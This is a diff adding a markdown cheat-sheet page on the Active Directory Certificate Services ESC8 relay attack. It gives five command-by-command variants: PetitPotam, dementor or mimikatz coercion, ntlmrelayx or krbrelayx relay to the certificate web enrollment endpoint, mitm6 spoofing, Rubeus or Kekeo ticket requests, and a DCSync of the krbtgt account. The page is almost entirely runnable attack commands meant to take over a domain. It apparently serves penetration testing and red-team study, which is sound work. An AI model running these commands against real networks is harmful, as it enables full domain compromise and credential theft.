|
| 1 | +# Active Directory - Certificate ESC8 |
| 2 | + |
| 3 | +## ESC8 - Web Enrollment Relay |
| 4 | + |
| 5 | +> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket. |
| 6 | +
|
| 7 | +Require [SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket/pull/1101) PR #1101 |
| 8 | + |
| 9 | +* **Version 1**: NTLM Relay + Rubeus + PetitPotam |
| 10 | + |
| 11 | + ```powershell |
| 12 | + impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs |
| 13 | + impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate |
| 14 | + # For a member server or workstation, the template would be "Computer". |
| 15 | + # Other templates: workstation, DomainController, Machine, KerberosAuthentication |
| 16 | +
|
| 17 | + # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam |
| 18 | + # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN |
| 19 | + git clone https://github.com/topotam/PetitPotam |
| 20 | + python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP |
| 21 | + python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP |
| 22 | + python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain> |
| 23 | + python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local |
| 24 | +
|
| 25 | + # Use the certificate with rubeus to request a TGT |
| 26 | + Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt |
| 27 | + Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt |
| 28 | +
|
| 29 | + # Now you can use the TGT to perform a DCSync |
| 30 | + mimikatz> lsadump::dcsync /user:krbtgt |
| 31 | + ``` |
| 32 | + |
| 33 | +* **Version 2**: NTLM Relay + Mimikatz + Kekeo |
| 34 | + |
| 35 | + ```powershell |
| 36 | + impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController |
| 37 | +
|
| 38 | + # Mimikatz |
| 39 | + mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth |
| 40 | +
|
| 41 | + # Kekeo |
| 42 | + kekeo> base64 /input:on |
| 43 | + kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt |
| 44 | +
|
| 45 | + # Mimikatz |
| 46 | + mimikatz> lsadump::dcsync /user:krbtgt |
| 47 | + ``` |
| 48 | + |
| 49 | +* **Version 3**: Kerberos Relay |
| 50 | + |
| 51 | + ```ps1 |
| 52 | + # Setup the relay |
| 53 | + sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine |
| 54 | +
|
| 55 | + # Run mitm6 |
| 56 | + sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v |
| 57 | + ``` |
| 58 | + |
| 59 | +* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed. |
| 60 | + |
| 61 | + ```powershell |
| 62 | + https://github.com/bats3c/ADCSPwn |
| 63 | + adcspwn.exe --adcs <cs server> --port [local port] --remote [computer] |
| 64 | + adcspwn.exe --adcs cs.pwnlab.local |
| 65 | + adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 |
| 66 | + adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt |
| 67 | + adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local |
| 68 | +
|
| 69 | + # ADCSPwn arguments |
| 70 | + adcs - This is the address of the AD CS server which authentication will be relayed to. |
| 71 | + secure - Use HTTPS with the certificate service. |
| 72 | + port - The port ADCSPwn will listen on. |
| 73 | + remote - Remote machine to trigger authentication from. |
| 74 | + username - Username for non-domain context. |
| 75 | + password - Password for non-domain context. |
| 76 | + dc - Domain controller to query for Certificate Templates (LDAP). |
| 77 | + unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . |
| 78 | + output - Output path to store base64 generated crt. |
| 79 | + ``` |
| 80 | + |
| 81 | +* **Version 5**: Certipy ESC8 |
| 82 | + |
| 83 | + ```ps1 |
| 84 | + certipy relay -ca 172.16.19.100 |
| 85 | + ``` |
| 86 | + |
| 87 | +## References |
| 88 | + |
| 89 | +* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) |
| 90 | +* [AD CS relay attack - practical guide - @exandroiddev - June 23, 2021](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/) |
0 commit comments